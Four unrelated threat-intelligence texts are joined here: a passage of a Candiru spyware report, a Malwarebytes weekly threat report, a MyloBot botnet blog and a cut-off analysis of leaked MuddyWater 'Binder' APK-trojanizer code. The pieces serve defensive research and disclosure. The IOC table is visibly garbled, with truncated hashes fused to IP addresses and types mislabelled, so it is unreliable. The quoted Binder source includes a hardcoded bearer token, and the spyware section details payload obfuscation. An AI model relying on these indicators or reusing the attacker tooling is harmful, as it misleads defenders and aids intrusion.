value points to the benign Windows Management Instrumentation wmiutils.dll file, but the value on the infected computer had been modified to point to a malicious DLL file that had been dropped inside the Windows system folder associated with the Japanese input method (IMEJP) `C:\WINDOWS\system32\ime\IMEJP\IMJPUEXP.DLL`. This folder is benign and included in a default install of Windows 10, but IMJPUEXP.DLL is not the name of a legitimate Windows component. When Windows boots, it automatically loads the Windows Management Instrumentation service, which involves looking up the DLL path in the registry key, and then invoking the DLL. ### Loading the Spyware’s Configuration The IMJPUEXP DLL file has eight blobs in the PE resources section with identifiers 102, 103, 105, 106, 107, 108, 109, 110. The DLL decrypts these using an AES key and IV that are hardcoded in the DLL. Decryption is via Windows CryptoAPI, using AES-256-CBC. Of particular note is resource 102, which contains the path to the legitimate wmiutils.dll, which is loaded after the spyware, ensuring that the COM hijack does not disrupt normal Windows functionality. Resource 103 points to a file AgentService.dat in a folder created by the spyware, `C:\WINDOWS\system32\config\spp\Licenses\curv\config\tracing\`. Resource 105 points to a second file in the same directory, KBDMAORI.dat. IMJPUEXP.DLL decrypts and loads the AgentService.dat file whose path is in resource 103, using the same AES key and IV, and decompresses it via zlib. The AgentService.dat file then loads the file in resource 105, KBDMAORI.dat, using a second AES key and IV hardcoded in AgentService.dat, and performs the decryption using a statically linked OpenSSL. Decrypting KBDMAORI.DAT yields a file with a series of nine encrypted blobs, each prefixed with an 8-byte little-endian length field. Each blob is encrypted with the same AES key and IV used to decrypt KBDMAORI.DAT, and is then zlib compressed. The first four encrypted blobs appear to be DLLs from the Microsoft Visual C++ redistributable: vcruntime140.dll, msvcp140.dll, ucrtbase.dll, concrt140.dll. The subsequent blobs are part of the spyware, including components that are apparently called Internals.dll and Help.dll. Both the Microsoft DLLs and the spyware DLLs in KBDMAORI.DAT are lightly obfuscated. Reverting the following modifications makes the files valid DLLs: 1. The first two bytes of the file (MZ) have been zeroed. 2. The first 4 bytes of NT header (\x50\x45\x00\x00) have been zeroed. 3. The first 2 bytes of the optional header (\x0b\x02) have been zeroed. 4. The strings in the import directory have been XOR obfuscated, using a 48-byte XOR key hardcoded in AgentService.dat. The final blob in KBDMAORI.DAT is the spyware’s configuration in JSON format. The configuration is somewhat obfuscated but clearly contains Base64 UTF-16 encoded URLs for command-and-control. ### Spyware Functionality We are still reversing most of the spyware’s functionality, but Candiru’s Windows payload appears to include features for exfiltrating files, exporting all messages saved in the Windows version of the popular encrypted messaging app Signal, and stealing cookies and passwords from Chrome, Internet Explorer, Firefox, Safari, and Opera browsers. The spyware also makes use of a legitimate signed third-party driver, physmem.sys. Microsoft’s analysis also established that the spyware could send messages from logged-in email and social media accounts directly on the victim’s computer. This could allow malicious links or other messages to be sent directly from a compromised user’s computer. Proving that the compromised user did not send the message could be quite challenging. ## 3. Mapping Candiru’s Command & Control Infrastructure To identify the websites used by Candiru’s spyware, we developed four fingerprints and a new Internet scanning technique. We searched historical data from Censys and conducted our own scans in 2021. This led us to identify at least 764 domain names that we assess with moderate-high confidence to be used by Candiru and its customers. Examination of the domain names indicates a likely interest in targets in Asia, Europe, the Middle East, and North America. Additionally, based on our analysis of Internet scanning data, we believe that there are Candiru systems operated from Saudi Arabia, Israel, UAE, Hungary, and Indonesia, among other countries. ### OPSEC Mistake by Candiru Leads to their Infrastructure Using Censys, we found a self-signed TLS certificate that included the email address “[email protected].” We attributed the candirusecurity.com domain name to Candiru Ltd, because a second domain name (verification.center) was registered in 2015 with a candirusecurity.com email address and a phone number (+972-54-2552428) listed by Dun & Bradstreet as the fax number for Candiru Ltd, also known as Saito Tech Ltd. Censys data records that a total of six IP addresses returned this certificate: 151.236.23.93, 69.28.67.162, 176.123.26.67, 52.8.109.170, 5.135.115.40, 185.56.89.66. The latter four of these IP addresses subsequently returned another certificate, which we fingerprinted (Fingerprint CF1) based on distinctive features. We searched Censys data for this fingerprint. We found 42 certificates on Censys matching CF1. We observed that six IPs matching CF1 certificates later returned certificates that matched a second fingerprint we devised, CF2. The CF2 fingerprint is based on certificates that match those generated by a “Fake Name” generator. We first ran an SQL query on Censys data for the fingerprint, and then filtered by a list of fake names. The SQL query yielded 572 results. We filtered the results, requiring the TLS certificate’s organization in the parsed.subject_dn field to contain an entry from the list of 475 last names in the Perl Data-Faker module. We suspect that Candiru is using either this Perl module or another module that uses the same word list to generate fake names for TLS certificates. After filtering, we found 542 matching certificates. We then developed an HTTP fingerprint, called BRIDGE, with which we scanned the Internet and built a third TLS fingerprint, CF3. We are keeping the BRIDGE and CF3 fingerprints confidential for now in order to maintain visibility into Candiru’s infrastructure. ### Overlap with CHAINSHOT One of the IPs that matched our CF1 fingerprint, 185.25.50.194, was pointed to by dl.nmcyclingexperience.com, which is mentioned as a final URL of a spyware payload delivered by the CHAINSHOT exploit kit in a 2018 report. CHAINSHOT is believed to be linked to Candiru, though no public reports have outlined the basis for this attribution, until now. Kaspersky has observed UAE hacking group Stealth Falcon using CHAINSHOT, as well as an Uzbekistan-based customer that they call SandCat. ### Overlap with Google TAG Research On 14 July 2021, Google’s Threat Analysis Group (TAG) published a report that mentions two Chrome zero-day exploits that TAG observed used against targets (CVE-2021-21166 and CVE-2021-30551). The report mentions nine websites that Google determined were used to distribute the exploits. Eight of these websites pointed to IP addresses that matched our CF3 Candiru fingerprint. We thus believe that the attacks that Google observed involving these Chrome exploits were linked to Candiru. Google also linked a further Microsoft Office exploit they observed (CVE-2021-33742) to the same operator. ### Targeting Themes Examination of Candiru’s targeting infrastructure permits us to make guesses about the location of potential targets, and topics and themes that Candiru operators believed that targets would find relevant and enticing. Some of the themes strongly suggest that the targeting likely concerned civil society and political activity. This troubling indicator matches with Microsoft’s observation of the extensive targeting of members of civil society, academics, and the media with Candiru’s spyware. We observed evidence of targeting infrastructure masquerading as media, advocacy organizations, international organizations, and others. We found many aspects of this targeting concerning, such as the domain blacklivesmatters.info, which may be used to target individuals interested in or affiliated with this movement. Similarly, infrastructure masquerading as Amnesty International and Refugee International are troubling, as are lookalike domains for the United Nations, World Health Organization, and other international organizations. We also found the targeting theme of gender studies to be particularly interesting and warranting further investigation. | Theme | Example Domains | Masquerading as | |-------|----------------|------------------| | International Media | cnn24-7.online | CNN | | | dw-arabic.com | Deutsche Welle | | | euro-news.online | Euronews | | | rasef22.com | Raseef22 | | | france-24.news | France 24 | | Advocacy Organizations | amnestyreports.com | Amnesty International | | | blacklivesmatters.info | Black Lives Matter movement | | | refugeeinternational.org | Refugees International | | Gender Studies | womanstudies.co | Academic theme | | | genderconference.org | Academic conference | | Tech Companies | cortanaupdates.com | Microsoft | | | googlplay.store | Google | | | apple-updates.online | Apple | | | amazon-cz.eu | Amazon | | | drpbx-update.net | Dropbox | | | lenovo-setup.tk | Lenovo | | | konferenciya-zoom.com | Zoom | | | zcombinator.co | Y Combinator | | | faceb00k-live.com | Facebook | | | minstagram.net | Instagram | | | twitt-live.com | Twitter | | | youtubee.life | YouTube | | Popular Internet Websites | wikipediaathome.net | Wikipedia | | International Organizations | osesgy-unmissions.org | Office of the Special Envoy of the Secretary-General for Yemen | | | un-asia.co | United Nations | | | whoint.co | World Health Organization | | Government Contractors | vesteldefnce.io | Turkish defense contractor | ### A Range of Targeting Domains A range of targeting domains appears to be reasonably country-specific. We believe these domain themes indicate likely countries of targets and not necessarily the countries of the operators themselves. | Country | Example Domain | What is this likely impersonating? | |---------|----------------|-------------------------------------| | Indonesia | indoprogress.co | Left-leaning Indonesian publication | | Russia | pochtarossiy.info | Russian postal service | | Czechia | kupony-rohlik.cz | Czech grocery | | Armenia | armenpress.net | State news agency of Armenia | | Iran | tehrantimes.org | English-language daily newspaper in Iran | | Turkey | yeni-safak.com | Turkish newspaper | | Cyprus | cyprusnet.tk | A portal providing information on Cypriot businesses. | | Austria | oiip.org | Austrian Institute for International Affairs | | Palestine | lwaeh-iteham-alasra.com | Website that publishes Israeli court indictments of Palestinian prisoners | | Saudi Arabia | mbsmetoo.com | Website for “an international campaign to support the case of Jamal Khashoggi” and other cases against Saudi Crown Prince Mohammed bin Salman | | Slovenia | total-slovenia-news.net | English-language Slovenian news site. | ## 4. A Saudi-Linked Cluster? A document was uploaded from Iran to VirusTotal that used an AutoOpen Macro to launch a web browser and navigated the browser to the URL https://cuturl.space/lty7uw, which VirusTotal recorded as redirecting to a URL, https://useproof.cc/1tUAE7A2Jn8WMmq/api, that mentions a domain we linked to Candiru, useproof.cc. The domain useproof.cc pointed to 109.70.236.107, which matched our fingerprint CF3. The document was blank, except for a graphic containing the text “Minister of Foreign Affairs of the Islamic Republic of Iran.” We fingerprinted the behavior of cuturl.space and traced it to five other URL shorteners: llink.link, instagrarn.co, cuturl.app, url-tiny.co, and bitly.tel. Interestingly, several of these domains were flagged by a researcher at ThreatConnect in two tweets, based on suspicious characteristics of their registration. We suspect that the AutoOpen format and the URL shorteners may be unique to a particular Candiru client. A Saudi Twitter user contacted us and reported that Saudi users active on Twitter were receiving messages with suspicious short URLs, including links to the domain name bitly.tel. Given this, we suspect that the URL shorteners may be linked to Saudi Arabia. ## 5. Additional Corporate Details for Candiru Ya’acov Weitzman and Eran Shorer founded Candiru in 2014. Isaac Zack, also reportedly an early investor in NSO Group, became the largest shareholder of Candiru less than two months after its founding and took a seat on its board of directors. In January 2019, Tomer Israeli first appeared in corporate records as Candiru’s “director of finance,” and Eitan Achlow was named CEO. A number of independent investors appear to have funded Candiru’s operations over the years. As of Candiru’s notice of allotment of shares filed in February 2021 with the Israeli Corporations Authority, Zack, Shorer, and Weitzman are still the largest shareholders. Three organizations are the next largest shareholders: Universal Motors Israel LTD, ESOP management and trust services, and Optas Industry Ltd. ESOP is an Israeli company that provides employee stock program administrative services to corporate clients. We do not know whether ESOP holds its stock in trust for certain Candiru employees. Optas Industry Ltd. is a Malta-based private equity firm. It has been reported that for a decade O’Brien has served as head of investment and a board member of the Gulf Investment Fund, and that the sovereign Qatar Investment Authority has a 12% stake in the Gulf Investment Fund. Besides Amit Ron, the Universal Motors Israel representative, Candiru’s board as of December 2020 includes Isaac Zack, Ya’acov Weitzman, and Eran Shorer. In addition to the involvement of Zack, Candiru shares other points of commonality with NSO Group, including representation by the same law firm and utilization of the same employee equity and trust administration services company. ## 6. Conclusion Candiru’s apparent widespread presence, and the use of its surveillance technology against global civil society, is a potent reminder that the mercenary spyware industry contains many players and is prone to widespread abuse. This case demonstrates, yet again, that in the absence of any international safeguards or strong government export controls, spyware vendors will sell to government clients who will routinely abuse their services. Many governments that are eager to acquire sophisticated surveillance technologies lack robust safeguards over their domestic and foreign security agencies. Many are characterized by poor human rights track records. It is not surprising that, in the absence of strong legal restraints, these types of government clients will misuse spyware services to track journalists, political opposition, human rights defenders, and other members of global civil society. ### Civil Society in the Crosshairs…Again The apparent targeting of an individual because of their political beliefs and activities that are neither terrorist nor criminal in nature is a troubling example of this dangerous situation. Microsoft’s independent analysis is also disconcerting, discovering at least 100 victims of Candiru’s malware operations that include “politicians, human rights activists, journalists, academics, embassy workers, and political dissidents.” Equally disturbing in this regard is Candiru’s registration of domains impersonating human rights NGOs (Amnesty International), legitimate social movements (Black Lives Matter), international health organizations (WHO), women’s rights themes, and news organizations. Although we lack context around the specific use cases connected to these domains, their mere presence as part of Candiru’s infrastructure—in light of widespread harms against civil society associated with the global spyware industry—is highly concerning and an area that merits further investigation. ### Rectifying Harms around the Commercial Spyware Market Ultimately, tackling the malpractices of the spyware industry will require a robust, comprehensive approach that goes beyond efforts focused on a single high-profile company or country. Unfortunately, Israel’s Ministry of Defense—from whom Israeli-based companies like Candiru must receive an export license before selling abroad—has so far proven itself unwilling to subject surveillance companies to the type of rigorous scrutiny that would be required to prevent abuses of the sort we and other organizations have identified. The export licensing process in that country is almost entirely opaque, lacking even the most basic measures of public accountability or transparency. It is our hope that reports such as this one will help spur policymakers and legislators in Israel and elsewhere to do more to prevent the mounting harms associated with an unregulated spyware marketplace. It is worth noting the growing risks that spyware vendors and their ownership groups themselves face as a result of their own reckless sales. Mercenary spyware vendors like Candiru market their services to their government clients as “untraceable” tools that evade detection and thus prevent their clients’ operations from being exposed. However, our research shows once again how specious these claims are. Although sometimes challenging, it is possible for researchers to detect and uncover targeted espionage using a variety of networking monitoring and other investigative techniques, as we have demonstrated in this report (and others like it). Even the most well-resourced surveillance companies make operational mistakes and leave digital traces, making their marketing claims about being stealthy and undetectable highly questionable. To the extent that their products are implicated in significant harms or cases of unlawful targeting, the negative exposure that comes from public interest research may create significant liabilities for ownership, shareholders, and others associated with these spyware companies. Finally, this case shows the value of a community-wide approach to investigations into targeted espionage. In order to remedy the harms generated by this industry for innocent members of global civil society, cooperation among academic researchers, network defenders, threat intelligence teams, and technology platforms is critical. Our research drew upon multiple data sources curated by other groups and entities with whom we cooperated, and ultimately helped identify software vulnerabilities in a widely used product that were reported to and then patched by its vendor. ### Acknowledgements Thanks to Microsoft and Microsoft Threat Intelligence Center (MSTIC) for their collaboration, and for working to quickly address the security issues identified through their research. We are especially grateful to the targets that make the choice to work with us to help identify and expose the entities involved in targeting them. Without their participation, this report would not have been possible. Thanks to Team Cymru for providing access to their Pure Signal Recon product. Their tool’s ability to show Internet traffic telemetry from the past three months provided the breakthrough we needed to identify the initial victim from Candiru’s infrastructure. Funding for this project was provided by a generous grant from the John D. and Catherine T. MacArthur Foundation, the Ford Foundation, Oak Foundation, Sigrid Rausing Trust, and Open Societies Foundation. Thanks to Miles Kenyon, Mari Zhou, and Adam Senft for communications, graphics, and organizational support.
# Threat Intelligence Report **Date:** November 2022 **TLP:** CLEAR This threat intelligence report has been prepared thanks to proprietary honeypot and OSINT data. The Malwarebytes threat intelligence team collects raw emails from several private and public sources and ingests them to generate metadata and track associated campaigns. IT security practitioners, threat intel, and malware analysts will find information about the threat landscape for the previous week. The categories covered include: - Malspam - Web - Ransomware - APTs - Zero-days Each attack tracked and observed by our threat intelligence team is checked against Malwarebytes products to ensure our customers are continually protected. If you would like to provide any feedback, you are welcome to email us at [email protected]. You can follow our team on Twitter @MBThreatIntel. The information shared within this report is about malicious activity and should be treated as such. Our Indicators of Compromise (IOCs) have been defanged to prevent accidental clicks. ## Malspam threats ### Formbook FormBook is a well-known commercial malware that steals information from victims’ machines using keyloggers and form grabbers. **Email subject(s):** - Quotation Request **Attachment name(s):** - H4A2-423-EM154-302-20221114 JPG.ISO - Quotation.xls ### Remcos Remcos (acronym of Remote Control & Surveillance Software) is a Remote Access Software used to remotely control computers. Once installed, it opens a backdoor on the computer, granting full access to the remote user. **Email subject(s):** - Request For Quotation(Schmersal) 372TH-82LD - Fwd: M/T BUENA LUNA - INQUIRY **Attachment name(s):** - RFQ#(Schmersal) 372TH-82LD.iso - BUL_Requisition.img ### Agent Tesla A .NET based keylogger and RAT readily available to actors. Logs keystrokes and the host's clipboard and beacons this information back to the C2. **Email subject(s):** - Quotation Request - Please Quote - Order to be delivered to US office - DHL Shipping Document **Attachment name(s):** - H4A2-423-EM154-302-20221114 JPG.ISO - Quotation.xls - LPO-87309134436.ISO - waybill number #8318869311.doc ### Snake Keylogger Snake is a common info stealer primarily delivered via malicious documents attached to spam emails. In addition to logging keystrokes, it can also record the contents of the clipboard and capture screenshots. It has the capability to exfiltrate the collected data via email, FTP, SMTP, Pastebin, and the messaging app Telegram. **Email subject(s):** - RFQ D78GHK - NEW INQUIRY - ORDER **Attachment name(s):** - D112SRL.doc - NEW INQUIRY.doc - RFQ.doc ## Web threats ### Spectrepoint campaign The 'spectrepoint' malware is part of an old WordPress injection campaign. Its goal is to redirect traffic from legitimate but compromised sites to a number of scams including browser push notifications. ### RIGEK The RIG exploit continues to be used in a very limited malvertising campaign. Here, we got it dropping Redline Stealer. ### Google Ads malvertising We saw a malvertising campaign abusing Google ads for popular keyword searches such as 'walmart'. The fraudsters are redirecting victims to tech support scam pages. ## Ransomware ### Hive Hive ransomware follows the ransomware-as-a-service (RaaS) model in which developers create, maintain, and update the malware, and affiliates conduct the ransomware attacks. From June 2021 through at least November 2022, threat actors have used Hive ransomware to target a wide range of businesses and critical infrastructure sectors, including Government Facilities, Communications, Critical Manufacturing, Information Technology, and especially Healthcare and Public Health (HPH). As of November 2022, Hive ransomware actors have victimized over 1,300 companies worldwide, receiving approximately US$100 million in ransom payments, according to FBI information. Hive actors have also gained initial access to victim networks by distributing phishing emails with malicious attachments and by exploiting the following vulnerabilities against Microsoft Exchange servers: - CVE-2021-31207 - Microsoft Exchange Server Security Feature Bypass Vulnerability - CVE-2021-34473 - Microsoft Exchange Server Remote Code Execution Vulnerability - CVE-2021-34523 - Microsoft Exchange Server Privilege Escalation Vulnerability ## APTs ### CloudAtlas Our research identified an email and documents that may be related to the CloudAtlas APT targeting Russia. The document named ДСП №3-2022 финал.doc downloads a remote template which attempts to exploit the Microsoft Equation Editor vulnerability. ## References 1. https://www.malwarebytes.com/blog/threat-intelligence/2022/11/spectrepoint 2. https://blog.sucuri.net/2017/09/old-themes-abandoned-scripts-pitfalls-cleaning-serialized-data.html 3. https://twitter.com/h2jazi/status/1592158351475240962 ## Indicators of Compromise (IOCs) | Indicator | Type | Description | |---------------------------------------|-------|------------------| | 208[.]67[.]105[.]179 | IP | AgentTesla | | obologs[.]work[.]gd | Domain| Remcos | | community[.]backpacktrader[.]com | Domain| SocGholish-DS | | rate[.]coinangel[.]online | Domain| None | | assetsclick[.]com | Domain| Magecart | | founder[.]carflower[.]pics | Domain| SocGholish-DS | | 54[.]31[.]50[.]94 | IP | Formbook | | 207[.]244[.]245[.]189 | IP | Formbook | | 192[.]64[.]116[.]149 | IP | Formbook | | 103[.]91[.]8[.]90 | IP | Formbook | | 50[.]31[.]188[.]71 | IP | Formbook | | aceadora[.]shop | Domain| Formbook | | bandmarket[.]live | Domain| Formbook | | carlyle55[.]com | Domain| Formbook | | t1fbrc[.]com | Domain| Formbook | | pinturaalhorno[.]com | Domain| Formbook | | 7e72ff51060dd585714ecc9ca539d13aae29d97f037d3 | SHA256 Hash | Formbook | | 586995a0068f7a8f4b3 | SHA256 Hash | Remcos | | 15505dbb4e496a4d68e6a41dfb5ce97b44a7660941780670b569e2d9a6aeba | SHA256 Hash | Remcos | | 5d3fa13c49872134424de194[.]55[.]186[.]82 | IP | Remcos | | 212604b13ca215693db01f642c18e800aeb394f53d1f55 | SHA256 Hash | Formbook | | 9b939b39fae9708d87 | IP | Formbook | | b8d1741d826709951f5f4500548053319997c7da5703f | SHA256 Hash | Formbook | | b6172b1ab3146ad84ea193[.]47[.]61[.]170 | IP | Remcos | | brremcoz1[.]ddns[.]net | Domain| Remcos | | f4856be3e8adf500b82f1ee5605521796b4ff8aef1e54 | SHA256 Hash | Remcos | | 235378239f7a7a39493775922a73a2385cf43b9707a1ef3e35665a07713b1245 | SHA256 Hash | Remcos | | 900860f586687dfa752ec69450ffb674fb751914a0336e7c68d7f21b62f94f452 | SHA256 Hash | AgentTesla | | c5dc6e8aed0cb265f968[.]65[.]122[.]214 | IP | AgentTesla | | 104[.]168[.]45[.]102 | IP | AgentTesla | | host39[.]registrar-servers[.]com | Domain| AgentTesla | | aaf20b9370f24df82c97b0273f52e6bd40f90df8fb8911 | SHA256 Hash | AgentTesla | | bb10a70d57a77e775e192[.]168[.]100[.]2 | IP | AgentTesla | | 904e50e24012be4d9046305f4f745df1375753d87bb7 | SHA256 Hash | AgentTesla | | 0726017dbd2a3d5874bdb7815624a43bf6975106243171dac5a1d632deec30ea1 | SHA256 Hash | AgentTesla | | 2a5ad30ec5cb780b5a98e48f49e936e2d55130911c24ce3ac4577b8e7235be8 | SHA256 Hash | AgentTesla | | 29c0df51084a3be11a1e6580a9592020f97cfcb114a99b3ada9bb7e4320af463 | SHA256 Hash | AgentTesla | | 226c1de4a30628be1736edb1d5994dd210d662eeaf3ecc611f3b6a3804b67e33 | SHA256 Hash | AgentTesla | | 7731485793b327932161121b89503cd42346a4cd62a7b55662edf52ec1cf39544 | SHA256 Hash | SnakeKeylogger | | ea8d55b583de4ee09af91[.]235[.]128[.]141 | IP | SnakeKeylogger | | fe0acab9e7af19546f5b9092a35045fab873846ea0d53 | SHA256 Hash | SnakeKeylogger | | 083e07f7a563dad7f01 | Domain| SnakeKeylogger | | cp5ua[.]hyperhost[.]ua | Domain| SnakeKeylogger | | f750ed5a3a3510788667534757848dd7092b4cbc774 | SHA256 Hash | SnakeKeylogger | | 53b39e342eac5a71d2518cff398b16e8e2a230d61b4a8a3a9bff3180c52d429178 | SHA256 Hash | SnakeKeylogger | | 08bde8dc3cc13baa33d313021c2d82399a673f8aee4debe06a81254e56a2225 | SHA256 Hash | None | | ba7e8ceda85d6d950bb | Domain| Malvertising | | weatherplllatform[.]com | Domain| None | | lidentebitinf[.]ga | Domain| Malvertising | | koffie[.]life | Domain| Malvertising | | furns[.]shop | Domain| Malvertising | | friscomusicgroup[.]com | Domain| Malvertising |
# Meet MyloBot - A New Highly Sophisticated Never-Seen-Before Botnet That's Out In The Wild June 20, 2018 | Dalya Guttman Over the past few years, we have seen various ways of spreading malicious code, one main infrastructure of spreading malware being the dark web. Lately, we have noticed a highly complicated botnet (number of internet-connected devices, where the owner can control them using command and control servers), which was detected and prevented in one of our client’s live environment and devices by our deep learning cybersecurity solution. This botnet presents three different layers of evasion techniques, including usage of command and control servers to download the final payload. The combination and complexity of these techniques were never seen in the wild before. Botnets can theoretically perform anything – depending on the payload. The payload can vary from DDoS attacks, steal data, and even installation of ransomware which can cause tremendous damage. ## What it does This highly sophisticated botnet incorporates different malicious techniques: - Anti VM techniques - Anti-sandbox techniques - Anti-debugging techniques - Wrapping internal parts with an encrypted resource file - Code injection - Process hollowing - a technique where an attacker creates a new process in a suspended state, and replaces its image with the one that is to be hidden - Reflective EXE - executing EXE files directly from memory, without having them on disk. This kind of reflection is not very common and was first published by Deep Instinct in Blackhat USA 2016 - It also has a delaying mechanism of 14 days before accessing its command and control servers. The fact that everything takes place in memory (while executing the main business logic of the botnet in an external process using code injection) makes it even harder to detect and trace. When we traced the command and control server we revealed that it was used by other malware campaigns as well which originated from the dark web. The dark web plays a critical part in the spread of malware: Its rather simple accessibility of services and knowledge has made it easy for any attacker to gain much more abilities with minimum effort. The first example for this is the shared knowledge in forums: in the dark web, attackers trade methods and techniques in underground forums, thus exposing knowledge to additional malware developers. Another example, which has increased in the past couple of years, is the amount of malware for sale on dark web markets. By using the dark web, anyone today can access an online market and purchase malware. Prices vary, from simple malware that costs several dollars to malware sold at hundreds of dollars as “fully undetectable.” Other than the malware itself, malware developers can purchase services that assist in the infection process. An attacker can purchase access to exploit kits, buy traffic of tens of thousands of users to a web page, or even buy a full ransomware-as-a-service for his own use. ## Malware vs. Malware Part of this malware process is terminating and deleting instances of other malware. It checks for known folders that malware “lives” in (“Application Data” folder), and if a certain file is running – it immediately terminates it and deletes its file. It even aims for specific folders of other botnets such as DorkBot. We estimate this rare and unique behavior is because of money purposes within the dark web. Attackers compete against each other to have as many “zombie computers” as possible in order to increase their value when proposing services to other attackers, especially when it comes to spreading infrastructures. The more computers – the more money an attacker can make. This is something we’re seeing here as well. Comparing current running processes on the list to a file located in %APPDATA% (“LoadOrd.exe” in this case). In case there is a match, terminate the process and delete it. ## The Expected Damage Once installed, the botnet shuts down Windows Defender and Windows Update while blocking additional ports on the Firewall. It also shuts down and deletes any EXE file running from the %APPDATA% folder, which can cause loss of data. The main functionality of the botnet enables an attacker to take complete control of the user’s system - it behaves as a gate to download additional payloads from the command and control servers. The expected damage here depends on the payload the attacker decides to distribute. It can vary from downloading and executing ransomware and banking trojans, among others. This can result in loss of a tremendous amount of data, the need to shut down computers for recovery purposes, which can lead to disasters in enterprises. The fact that the botnet behaves as a gate for additional payloads puts the enterprise at risk for leak of sensitive data as well, following the risk of keyloggers / banking trojans installations. Although this kind of complexity in the malware’s structure is extremely rare, Deep Instinct detected and prevented it on a client’s production environment. Once again, this is a true testament to the superiority of deep learning-based solutions in the cybersecurity warfare.
# MuddyWater: Binder Project (Part 1) According to Lab Dookhtegan, Binder is a project related to the IRGC cyber espionage group built to trojanize Google apps (APK). The application “trojanization” is a well-known process that takes as input a good APK and a code to inject (a RAT, for example). The system is able to unbuild the original APK and inject the RAT into the “good application.” The result is a Trojan that could compromise an unaware target. Indeed, unaware users opening the trojanized APK will run the desired application as well as the RAT in a background process, starting the infection chain. MuddyWater is notoriously alleged to be linked to IRGC as main contractors. According to ClearSky, Iranian cyber espionage forces are increasing their mobile capabilities, meaning they are investing in mobile (RAT and Trojan) development on both iOS and Android operating systems. All this information points in the same direction, building a concrete base to analyze what Lab Dookhtegan released over the past weeks. ## Source Code Highlights The first file that I’d like to point out is named `action.aspx.cs`. First of all, we can deduce that Binder is a web application. We have no idea at this stage if there is a GUI involved or simple API calls, but let’s analyze the source that we’ve got from Telegram. A first observation comes from authentication methods. Before getting inside the main loop, which loops for tasks to be executed, the user needs to be authenticated. The authentication comes from the Authorization HTTP Headers. After that, we see exactly what we were actually thinking about: trojanizing applications. In other words, taking `apk_path` and `rat_path` and building a resulting `apk` to be inoculated to victims. ```csharp if (st.get_apiToken("user", "pass").Equals(Request.Headers.Get("Authorization"))) { LB_Log.Items.Add("connected ... "); string res = ch.getTask(); if (!res.Equals("non")) { var tasks = JArray.Parse(res); for (int i = 0; i < tasks.Count; i++) { JObject jObject = JObject.Parse(tasks[i].ToString()); JObject aJson = jObject.GetValue("apk_path").ToObject<JObject>(); JObject rJson = jObject.GetValue("rat_path").ToObject<JObject>(); string id = jObject.GetValue("id").ToObject<string>(); string apkDotApk = aJson.GetValue("path").ToObject<string>(); string apkName = apkDotApk.Remove(apkDotApk.LastIndexOf("."), 4); string apkId = aJson.GetValue("id").ToObject<string>(); string ratDotApk = rJson.GetValue("path").ToObject<string>(); string ratName = ratDotApk.Remove(ratDotApk.LastIndexOf("."), 4); string ratId = rJson.GetValue("id").ToObject<string>(); int bMethod = jObject.GetValue("bmethod").ToObject<int>(); int status = jObject.GetValue("status").ToObject<int>(); int getPerm = jObject.GetValue("get_perm").ToObject<int>(); string projectPath = AppDomain.CurrentDomain.BaseDirectory + "binder\\"; string ratPath = projectPath + "apks\\" + id + "\\" + ratName; string apkPath = projectPath + "apks\\" + id + "\\" + apkName; } } } ``` From the 61st line of code, we might understand why Binder is the project name: `string projectPath = AppDomain.CurrentDomain.BaseDirectory + "binder\";`. Finally, from line 232, we experience a writing mistake; it is hard to call this mistake a typo since the letters `i` and `e` aren’t close on English keyboard layouts, so probably we are reading a non-English speaker developer. ```csharp Log.Items.Add("Your authentication is deprecated ... "); flag = true; ``` A second interesting leaked file is `RedLogClass.cs`. First of all, we might appreciate the namespace confirming the project name Binder, but even more interesting is how the attacker authenticates the client before processing requests. ```csharp private bool enableSending = true; private string url = "http://192.168.20.106/api/add_logs"; private string token = "LEcTqrnm6ySmU4NdccUapeJRt9a6GYmrtSKilRNtCQnaWz4IfzxHFmbR7YDdMmtZCZyh55vwdbRWDe1TIFEdqkuNQdfhr7TpzBRA"; public bool sendLog(string project_name, string category_name, string content, [CallerLineNumber] int lineNumber = 0, [CallerMemberName] string caller = null) { if (enableSending) { string response = string.Empty; try { var client = new RestClient(url); client.Timeout = -1; var Request = new RestRequest(Method.POST); Request.AddHeader("Accept", "application/json"); Request.AddHeader("Authorization", "Bearer " + token); } } } ``` Indeed, the attacker uses the Authorization HTTP Header in the following format to authenticate the HTTP request. The authentication is performed by concatenating the word `Bearer` with the token. In this specific case, we also have the value of such a token: ``` LEcTqrnm6ySmU4NdccUapeJRt9a6GYmrtSKilRNtCQnaWz4IfzxHFmbR7YDdMmtZCZyh55vwdbRWDe1TIFEdqkuNQdfhr7TpzBRA ``` This represents a valid authenticator token. Another interesting observation comes from the `url` variable. It contains the path `/api/add_logs`. It might be used as a network signature to detect such a malicious implant. As a bonus track, we know the attacker deployed such a tool into a private LAN: `http://192.168.20.106`. This would be interesting later on; let’s keep it in mind. Let’s move to another file, the `BinderClass.sln`, which highlights the used Visual Studio version `14.0.23107.0` and the minimal Visual Studio version compatible with `10.0.40219.1`. ``` Microsoft Visual Studio Solution File, Format Version 12.00 # Visual Studio 14 VisualStudioVersion = 14.0.23107.0 MinimumVisualStudioVersion = 10.0.40219.1 Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "BinderClass", "BinderClass.csproj", "{648562EB-D95C-4C9E-A7D5-7EDAE84E27AC}" EndProject Global GlobalSection(SolutionConfigurationPlatforms) = preSolution Debug|Any CPU = Debug|Any CPU Release|Any CPU = Release|Any CPU EndGlobalSection GlobalSection(ProjectConfigurationPlatforms) = postSolution {648562EB-D95C-4C9E-7EDAE84E27AC}.Debug|Any CPU.ActiveCfg = Debug|Any CPU {648562EB-D95C-4C9E-7EDAE84E27AC}.Debug|Any CPU.Build.0 = Debug|Any CPU {648562EB-D95C-4C9E-7EDAE84E27AC}.Release|Any CPU.ActiveCfg = Release|Any CPU {648562EB-D95C-4C9E-7EDAE84E27AC}.Release|Any CPU.Build.0 = Release|Any CPU EndGlobalSection GlobalSection(SolutionProperties) = preSolution HideSolutionNode = FALSE EndGlobalSection GlobalSection(ExtensibilityGlobals) = postSolution SolutionGuid = {2B405E88-E8FA-4807-A5CF-F8CD4AAB89D6} EndGlobalSection EndGlobal ``` We are now reading a quite old version of Microsoft Visual Studio, released before 2017. We could be reading a quite old source code, meaning this project has been running for years, or we are reading source code from developers who have been developing for years without updating their principal development tool. While it could be unusual to keep an old Visual Studio version, Microsoft introduced many “cloud-based” features into their recent Visual Studio platform, including the ability to recognize patterns and malicious code, which might not be interesting if you are developing malware. So, I am not saying this is what happened, but I know developers who use old Visual Studio versions for developing simple PoC and Red Team scripts, so I believe both hypotheses would be concrete. ## Conclusions Source code analysis is incredibly helpful to map how attackers are evolving. In this quick post, I began reading the Binder source code allegedly attributed to MuddyWater to better understand capabilities, modus operandi, and structures. A second part will 